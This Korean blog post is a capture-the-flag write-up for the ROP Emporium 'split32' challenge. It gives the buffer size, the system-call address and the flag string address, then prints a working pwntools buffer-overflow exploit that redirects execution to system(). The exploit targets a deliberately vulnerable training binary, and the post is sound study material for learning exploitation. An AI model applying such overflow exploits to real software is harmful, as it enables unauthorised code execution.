[ROP Emporium] split32
System/PWNABLE

[ROP Emporium] split32

check

- 32bit

- NX

Analyze

pseudo code는 앞에서 풀었던 split동일하다.

pwnme()

문자열 s의 크기가 0x28byte로 할당되어있다!!

- "/bin/cat flag.txt" 문자열은 data 영역인 0x804a030에 있다.

- call system 코드의 주소는 0x804861a이다.

gadget

>> 따로 가젯을 호출할 필요가 없다

Exploit

payload: BUF[0x28] + SFP[4] + SYSTEM(call system: 0x804861a) + BINSH(usefulString: 0x804a030)

from pwn import *

#context.log_level = 'debug'

p = process("./split32")
elf = ELF("./split32")

callsystem = 0x804861a
usefulString = 0x804a030
pbx = 0x8048395

pl = "A"*(0x28 + 4)
pl += p32(callsystem)
pl += p32(usefulString)

p.sendlineafter("> ", pl)
p.interactive()

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Unexploitable_1  (0) 2021.04.17
[ROP Emporium] callme  (0) 2021.04.02
[RopEmporium] split  (0) 2021.03.21
[ROP Emporium] ret2win  (0) 2021.03.18
[HackCTF] Pwning (재)  (0) 2021.03.08